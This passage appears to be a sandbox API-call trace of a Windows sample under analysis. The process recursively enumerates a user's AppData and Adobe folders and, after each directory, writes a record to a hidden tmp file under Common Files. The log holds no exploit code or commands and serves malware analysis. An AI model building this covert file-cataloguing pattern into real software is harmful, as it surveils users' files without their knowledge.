nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x7b0150, cFileName=".", cAlternateFileName="")) returned 0x7d16f0 [0126.302] FindNextFileA (in: hFindFile=0x7d16f0, lpFindFileData=0x18c1dc | out: lpFindFileData=0x18c1dc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xecb5bdd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xecb5bdd0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x7b0150, cFileName="..", cAlternateFileName="")) returned 1 [0126.302] FindNextFileA (in: hFindFile=0x7d16f0, lpFindFileData=0x18c1dc | out: lpFindFileData=0x18c1dc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xecb5bdd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe952fcd0, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0xcfc4, dwReserved0=0x0, dwReserved1=0x7b0150, cFileName="AcroFnt10.lst", cAlternateFileName="ACROFN~1.LST")) returned 1 [0126.302] FindNextFileA (in: hFindFile=0x7d16f0, lpFindFileData=0x18c1dc | out: lpFindFileData=0x18c1dc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xecb5bdd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe952fcd0, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0xcfc4, dwReserved0=0x0, dwReserved1=0x7b0150, cFileName="acrofnt10.lst", cAlternateFileName="ACROFN~1.LST")) returned 0 [0126.302] FindClose (in: hFindFile=0x7d16f0 | out: hFindFile=0x7d16f0) returned 1 [0126.302] GetLastError () returned 0x12 [0126.302] FindNextFileA (in: hFindFile=0x7d16b0, lpFindFileData=0x18c538 | out: lpFindFileData=0x18c538*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd3b286a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd3b286a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xee0c3750, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x1400, dwReserved0=0x1, dwReserved1=0x18c2a4, cFileName="SharedDataEvents", cAlternateFileName="SHARED~1")) returned 1 [0126.302] FindNextFileA (in: hFindFile=0x7d16b0, lpFindFileData=0x18c538 | out: lpFindFileData=0x18c538*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd243f2e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd243f2e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xe99341f0, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x12ea5, dwReserved0=0x7b0000, dwReserved1=0x170121, cFileName="UserCache.bin", cAlternateFileName="USERCA~1.BIN")) returned 1 [0126.305] FindNextFileA (in: hFindFile=0x7d16b0, lpFindFileData=0x18c538 | out: lpFindFileData=0x18c538*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd243f2e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd243f2e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xe99341f0, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x12ea5, dwReserved0=0x7b0000, dwReserved1=0x170121, cFileName="usercache.bin", cAlternateFileName="USERCA~1.BIN")) returned 0 [0126.305] FindClose (in: hFindFile=0x7d16b0 | out: hFindFile=0x7d16b0) returned 1 [0126.305] GetLastError () returned 0x12 [0126.305] FindNextFileA (in: hFindFile=0x7d1670, lpFindFileData=0x18c894 | out: lpFindFileData=0x18c894*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xee135b70, ftLastAccessTime.dwHighDateTime=0x1d35d05, ftLastWriteTime.dwLowDateTime=0xee135b70, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x10000000, dwReserved1=0x832440, cFileName="10.0", cAlternateFileName="")) returned 0 [0126.305] FindClose (in: hFindFile=0x7d1670 | out: hFindFile=0x7d1670) returned 1 [0126.305] GetLastError () returned 0x12 [0126.305] FindNextFileA (in: hFindFile=0x7d1630, lpFindFileData=0x18cbf0 | out: lpFindFileData=0x18cbf0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce60f420, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce60f420, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1, dwReserved1=0x18c95c, cFileName="Color", cAlternateFileName="")) returned 1 [0126.305] AreFileApisANSI () returned 1 [0126.305] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0126.305] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18c860, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x174 [0126.305] GetFileType (hFile=0x174) returned 0x1 [0126.305] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18c8c0 | out: lpNewFilePointer=0x0) returned 1 [0126.305] GetLastError () returned 0xb7 [0126.305] SetLastError (dwErrCode=0xb7) [0126.305] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18c90c | out: lpNewFilePointer=0x0) returned 1 [0126.305] WriteFile (in: hFile=0x174, lpBuffer=0x18b54c*, nNumberOfBytesToWrite=0x7d, lpNumberOfBytesWritten=0x18b52c, lpOverlapped=0x0 | out: lpBuffer=0x18b54c*, lpNumberOfBytesWritten=0x18b52c*=0x7d, lpOverlapped=0x0) returned 1 [0126.306] GetLastError () returned 0xb7 [0126.306] SetLastError (dwErrCode=0xb7) [0126.306] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\*.*", lpFindFileData=0x18c894 | out: lpFindFileData=0x18c894*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce60f420, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce60f420, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1670 [0126.306] FindNextFileA (in: hFindFile=0x7d1670, lpFindFileData=0x18c894 | out: lpFindFileData=0x18c894*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce60f420, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce60f420, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0126.306] FindNextFileA (in: hFindFile=0x7d1670, lpFindFileData=0x18c894 | out: lpFindFileData=0x18c894*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xce60f420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce60f420, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce719dc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x49c, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACECache11.lst", cAlternateFileName="ACECAC~1.LST")) returned 1 [0126.306] FindNextFileA (in: hFindFile=0x7d1670, lpFindFileData=0x18c894 | out: lpFindFileData=0x18c894*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xce4463a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce6f3c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce6f3c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x400000, dwReserved1=0x834d00, cFileName="Profiles", cAlternateFileName="")) returned 1 [0126.306] AreFileApisANSI () returned 1 [0126.306] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0126.306] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18c504, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x178 [0126.306] GetFileType (hFile=0x178) returned 0x1 [0126.306] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18c560 | out: lpNewFilePointer=0x0) returned 1 [0126.306] GetLastError () returned 0xb7 [0126.306] SetLastError (dwErrCode=0xb7) [0126.306] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18c5ac | out: lpNewFilePointer=0x0) returned 1 [0126.307] WriteFile (in: hFile=0x178, lpBuffer=0x18b1ec*, nNumberOfBytesToWrite=0x86, lpNumberOfBytesWritten=0x18b1cc, lpOverlapped=0x0 | out: lpBuffer=0x18b1ec*, lpNumberOfBytesWritten=0x18b1cc*=0x86, lpOverlapped=0x0) returned 1 [0126.307] GetLastError () returned 0xb7 [0126.307] SetLastError (dwErrCode=0xb7) [0126.307] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\*.*", lpFindFileData=0x18c538 | out: lpFindFileData=0x18c538*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xce4463a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce6f3c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce6f3c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d16b0 [0126.307] FindNextFileA (in: hFindFile=0x7d16b0, lpFindFileData=0x18c538 | out: lpFindFileData=0x18c538*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xce4463a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce6f3c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce6f3c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0126.307] FindNextFileA (in: hFindFile=0x7d16b0, lpFindFileData=0x18c538 | out: lpFindFileData=0x18c538*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xce60f420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce6f3c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce6f3c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x102a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="wscRGB.icc", cAlternateFileName="")) returned 1 [0126.307] FindNextFileA (in: hFindFile=0x7d16b0, lpFindFileData=0x18c538 | out: lpFindFileData=0x18c538*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xce60f420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce6f3c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce6f3c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0xa74, dwReserved0=0x5d, dwReserved1=0x0, cFileName="wsRGB.icc", cAlternateFileName="")) returned 1 [0126.307] FindNextFileA (in: hFindFile=0x7d16b0, lpFindFileData=0x18c538 | out: lpFindFileData=0x18c538*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xce60f420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce6f3c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce6f3c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0xa74, dwReserved0=0x5d, dwReserved1=0x0, cFileName="wsrgb.icc", cAlternateFileName="")) returned 0 [0126.307] FindClose (in: hFindFile=0x7d16b0 | out: hFindFile=0x7d16b0) returned 1 [0126.307] GetLastError () returned 0x12 [0126.307] FindNextFileA (in: hFindFile=0x7d1670, lpFindFileData=0x18c894 | out: lpFindFileData=0x18c894*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xce4463a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce6f3c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce6f3c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x400000, dwReserved1=0x834d00, cFileName="profiles", cAlternateFileName="")) returned 0 [0126.307] FindClose (in: hFindFile=0x7d1670 | out: hFindFile=0x7d1670) returned 1 [0126.307] GetLastError () returned 0x12 [0126.307] FindNextFileA (in: hFindFile=0x7d1630, lpFindFileData=0x18cbf0 | out: lpFindFileData=0x18cbf0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce60f420, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce60f420, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1, dwReserved1=0x18c95c, cFileName="color", cAlternateFileName="")) returned 0 [0126.308] FindClose (in: hFindFile=0x7d1630 | out: hFindFile=0x7d1630) returned 1 [0126.308] GetLastError () returned 0x12 [0126.308] FindNextFileA (in: hFindFile=0x7d15f0, lpFindFileData=0x18cf4c | out: lpFindFileData=0x18cf4c*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x2914fe20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x18cce4, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1 [0126.308] AreFileApisANSI () returned 1 [0126.308] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0126.308] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18cbbc, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0126.308] GetFileType (hFile=0x170) returned 0x1 [0126.308] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18cc18 | out: lpNewFilePointer=0x0) returned 1 [0126.308] GetLastError () returned 0xb7 [0126.308] SetLastError (dwErrCode=0xb7) [0126.308] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18cc64 | out: lpNewFilePointer=0x0) returned 1 [0126.308] WriteFile (in: hFile=0x170, lpBuffer=0x18b8a4*, nNumberOfBytesToWrite=0x82, lpNumberOfBytesWritten=0x18b884, lpOverlapped=0x0 | out: lpBuffer=0x18b8a4*, lpNumberOfBytesWritten=0x18b884*=0x82, lpOverlapped=0x0) returned 1 [0126.308] GetLastError () returned 0xb7 [0126.308] SetLastError (dwErrCode=0xb7) [0126.308] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\*.*", lpFindFileData=0x18cbf0 | out: lpFindFileData=0x18cbf0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb264df80, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb264df80, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1630 [0126.309] FindNextFileA (in: hFindFile=0x7d1630, lpFindFileData=0x18cbf0 | out: lpFindFileData=0x18cbf0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb264df80, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb264df80, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0126.309] FindNextFileA (in: hFindFile=0x7d1630, lpFindFileData=0x18cbf0 | out: lpFindFileData=0x18cbf0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe", cAlternateFileName="")) returned 1 [0126.309] AreFileApisANSI () returned 1 [0126.309] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0126.309] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18c860, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x174 [0126.309] GetFileType (hFile=0x174) returned 0x1 [0126.309] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18c8c0 | out: lpNewFilePointer=0x0) returned 1 [0126.309] GetLastError () returned 0xb7 [0126.309] SetLastError (dwErrCode=0xb7) [0126.309] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18c90c | out: lpNewFilePointer=0x0) returned 1 [0126.309] WriteFile (in: hFile=0x174, lpBuffer=0x18b54c*, nNumberOfBytesToWrite=0x88, lpNumberOfBytesWritten=0x18b52c, lpOverlapped=0x0 | out: lpBuffer=0x18b54c*, lpNumberOfBytesWritten=0x18b52c*=0x88, lpOverlapped=0x0) returned 1 [0126.309] GetLastError () returned 0xb7 [0126.309] SetLastError (dwErrCode=0xb7) [0126.310] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\*.*", lpFindFileData=0x18c894 | out: lpFindFileData=0x18c894*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1670 [0126.310] FindNextFileA (in: hFindFile=0x7d1670, lpFindFileData=0x18c894 | out: lpFindFileData=0x18c894*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0126.310] FindNextFileA (in: hFindFile=0x7d1670, lpFindFileData=0x18c894 | out: lpFindFileData=0x18c894*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Acrobat", cAlternateFileName="")) returned 1 [0126.310] AreFileApisANSI () returned 1 [0126.310] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0126.310] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18c504, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x178 [0126.310] GetFileType (hFile=0x178) returned 0x1 [0126.310] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18c560 | out: lpNewFilePointer=0x0) returned 1 [0126.310] GetLastError () returned 0xb7 [0126.310] SetLastError (dwErrCode=0xb7) [0126.310] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18c5ac | out: lpNewFilePointer=0x0) returned 1 [0126.310] WriteFile (in: hFile=0x178, lpBuffer=0x18b1ec*, nNumberOfBytesToWrite=0x90, lpNumberOfBytesWritten=0x18b1cc, lpOverlapped=0x0 | out: lpBuffer=0x18b1ec*, lpNumberOfBytesWritten=0x18b1cc*=0x90, lpOverlapped=0x0) returned 1 [0126.310] GetLastError () returned 0xb7 [0126.310] SetLastError (dwErrCode=0xb7) [0126.311] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\*.*", lpFindFileData=0x18c538 | out: lpFindFileData=0x18c538*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1000000, dwReserved1=0x834d00, cFileName=".", cAlternateFileName="")) returned 0x7d16b0 [0126.311] FindNextFileA (in: hFindFile=0x7d16b0, lpFindFileData=0x18c538 | out: lpFindFileData=0x18c538*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1000000, dwReserved1=0x834d00, cFileName="..", cAlternateFileName="")) returned 1 [0126.311] FindNextFileA (in: hFindFile=0x7d16b0, lpFindFileData=0x18c538 | out: lpFindFileData=0x18c538*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xee135b70, ftLastAccessTime.dwHighDateTime=0x1d35d05, ftLastWriteTime.dwLowDateTime=0xee135b70, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1000000, dwReserved1=0x834d00, cFileName="10.0", cAlternateFileName="")) returned 1 [0126.311] AreFileApisANSI () returned 1 [0126.311] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0126.311] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18c1a8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x17c [0126.311] GetFileType (hFile=0x17c) returned 0x1 [0126.311] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18c208 | out: lpNewFilePointer=0x0) returned 1 [0126.311] GetLastError () returned 0xb7 [0126.311] SetLastError (dwErrCode=0xb7) [0126.311] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18c254 | out: lpNewFilePointer=0x0) returned 1 [0126.311] WriteFile (in: hFile=0x17c, lpBuffer=0x18ae94*, nNumberOfBytesToWrite=0x95, lpNumberOfBytesWritten=0x18ae74, lpOverlapped=0x0 | out: lpBuffer=0x18ae94*, lpNumberOfBytesWritten=0x18ae74*=0x95, lpOverlapped=0x0) returned 1 [0126.312] GetLastError () returned 0xb7 [0126.312] SetLastError (dwErrCode=0xb7) [0126.312] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\*.*", lpFindFileData=0x18c1dc | out: lpFindFileData=0x18c1dc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xee135b70, ftLastAccessTime.dwHighDateTime=0x1d35d05, ftLastWriteTime.dwLowDateTime=0xee135b70, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d16f0 [0126.312] FindNextFileA (in: hFindFile=0x7d16f0, lpFindFileData=0x18c1dc | out: 